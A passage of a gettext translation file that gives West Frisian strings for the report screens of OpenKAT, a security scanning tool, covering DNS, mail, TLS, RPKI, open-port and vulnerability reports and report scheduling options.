\"DNS-rapport\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\"DNS-rapporten jouwe ynsjoch yn de domeinnammesysteemkonfiguraasje en \"\n\"potinsjele swakheden.\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"Befiningenrapport\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"Toant alle befiningstypen en harren barrens.\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"IPv6-oersjoch\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"Domein\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"IPv6-rapport\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"Kontrolearje of hostnammen nei IPv6-adressen ferwize.\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"Compliance mailserver\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"mailservers compliant\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"Der binne gjin mailservers op dit systeem fûn.\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"Mailrapport\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"Systeemspesifyk Mailrapport dat fokust op IP-adressen en hostnammen.\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"Oersjoch fan ynbegrepen assets\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"Asset\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"Oantal\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"IP-adressen\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"Domeinnammen\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"Assets mei de meast kritike kwetsberheden\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"Kwetsberheid\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"Organisaasje\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"Gjin kwetsberheden fûn.\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"Oersjoch fan feilige ferbiningen\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"Allinnich feilige ciphers\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"services binne compliant\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"Systeemspesifike kontrôles\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"IPv6\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"Yn totaal hawwe \"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \" fan de \"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \" systemen in IPv6-ferbining.\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"Oersjoch fan compliance mei IP-ferzjes\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\"Besjoch in oersjocht fan iepen poarten op alle systemen en de services dy’t \"\n\"dizze systemen biede.\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"Oersjoch fan detektearre iepen poarten\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"Iepen poarten\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"Oantal (IP-adressen)\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"Services\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"Gjin iepen poarten fûn.\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"Oersjoch fan oanrekommandaasjes\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"Foarfal\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"Der binne noch gjin befiningen identifisearre.\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"Multi-Organisaasjerapport\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"Best skoarende befeiligingskontrôle\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"Minst skoarende befeiligingskontrôle\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\"Fûne kwetsberheden wurde groepearre per systeem. Hjir sjogge wy allinnich \"\n\"nei CVE-kwetsberheden.\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"Kwetsberheden groepearre per systeem\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"totaal\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"Compliance nameserver\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"DNSSEC oanwêzich\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"nameservers compliant\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"Falide DNSSEC\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"Gjin ûnnedige poarten iepen\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"Der binne gjin nameservers op dit systeem fûn.\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"Nameserver-rapport\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\"Nameserver-rapport kontrolearret de basisbefeiligingsmaatregelen fan \"\n\"nameservers.\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"Oersjoch fan iepen poarten dy’t op de scande assets fûn binne\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"IP-adres\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"Hostnammen\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"Direkte scan\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"Iepen-poartenrapport\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"Sykje iepen poarten fan IP-adressen\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\"It RPKI-rapport toant of in RPKI-rûteoankundiging beskikber wie foar it \"\n\"systeem en oft dizze oankundiging net ferrûn is.\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"Compliance RPKI\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"RPKI beskikber\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"RPKI falide\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"RPKI-record is ûnjildich.\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"RPKI-record bestiet net.\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"Der binne gjin IP’s op dit systeem fûn.\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"RPKI-rapport\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\"Toant oft in IP falt ûnder in falide RPKI ROA. Toant foar in hostnamme de IP-\"\n\"adressen en oft se dekt binne troch in falide RPKI ROA.\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"Compliance feilige ferbiningen\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"Feilige Ferbiningen-rapport\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"Toant oft de IP-service feilige fersiferingen brûkt.\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"Selektearre assets\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"Der binne gjin systeemtypen op dit systeem identifisearre.\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"Systeemrapport\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"Kombinearje IP-adressen, hostnammen en services yn systemen.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\"It TLS-rapport toant hokker TLS-protokollen en -fersiferingen identifisearre \"\n\"binne op de host foar de opjûne poarte.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\"Understeande tabel jout in oersjoch fan de identifisearre TLS-protokollen en \"\n\"-fersiferingen, wêrûnder in statussuggestje.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"Ciphers\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"Protokol\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"Enkrypsjealgoritme\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"Bits\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"Kaaigrutte\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"Koade\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"Utfasearje\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"Goed\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\"Der binne gjin fersiferingen fûn foar dizze kombinaasje fan IP-adres, poarte \"\n\"en tsjinst.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"TLS-rapport\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\"TLS-rapport beoardielet de feilichheid fan gegevensenkripsje en \"\n\"transmisjeprotokollen.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"Der binne gjin kwetsberheden op dit systeem fûn.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"kwetsberheden op dit systeem\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"Advys\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"Kwetsberhedenrapport\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"De fûne kwetsberheden binne per systeem groepearre.\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"Earst sjoen\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"Lêst sjoen\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"Bewiis\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"Compliance websysteem\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"CSP oanwêzich\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"webservers compliant\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"Feilige CSP-header\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"Ferwiist HTTP troch nei HTTPS\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"HTTPS is beskikber\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"Hat in security.txt\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"Hat in sertifikaat\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"Sertifikaat is jildich\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"Sertifikaat ferrint ynkoarten net\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"Der binne gjin webservers op dit systeem fûn.\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"Websysteem-rapport\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\"Websysteemrapport kontrolearret websystemen op basisbefeiligingsstanderts.\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"Rapportskema\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"Rapportnamme\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"Rapport generearje\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"Ynhâldsopjefte\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"Aggregearje rapport\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"Multi-rapport\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"Oersjoch\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"Ynstekkeroersjochtabel\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"Nedige ynstekkers\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"Oanrekommandearre ynstekkers\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"Aksje fereaske\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"Dien\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"Earst bekende barren\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"Yn rapport iepenje\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\"Der binne foar dizze organisaasje gjin krityske en hege befiningen \"\n\"identifisearre.\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"Der binne foar dizze organisaasje gjin befiningen identifisearre.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"Dit is it OpenKAT-rapport foar organisaasje\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\"Alle selektearre rapporttypen foar de selektearre objekten wurde ûnder inoar \"\n\"toand.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"Makke mei gegevens fan:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"Makke op:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"Makke út resept:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"Resept makke troch:\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"Dizze sektor befettet %(length)s scande organisaasjes.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"Fan dizze organisaasjes hawwe\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"organisaasjes in label\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"De basisbefeiligingsskoares binne ûngefear \"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"In totaal fan %(total)s kritike kwetsberheden binne identifisearre.\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"Yntroduksje\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"Rapportnammen:\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"Ferplichte\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"Referinsjedatum tafoegje\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"Opnij ynstelle\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"Gjin referinsjedatum\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"Dei\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"Wike\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"Moanne\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"Jier\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"Objektseleksje\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\"Basearre op de aktuele gegevensset, resultearje jo selektearre filters yn de \"\n\"folgjende objekten.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"objekten selektearre\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"Alle objekten deselektearje\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"%(length)s fan %(total)s objekten toand\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"Selektearje %(total_oois)s objekt\"\nmsgstr[1] \"Selektearje alle 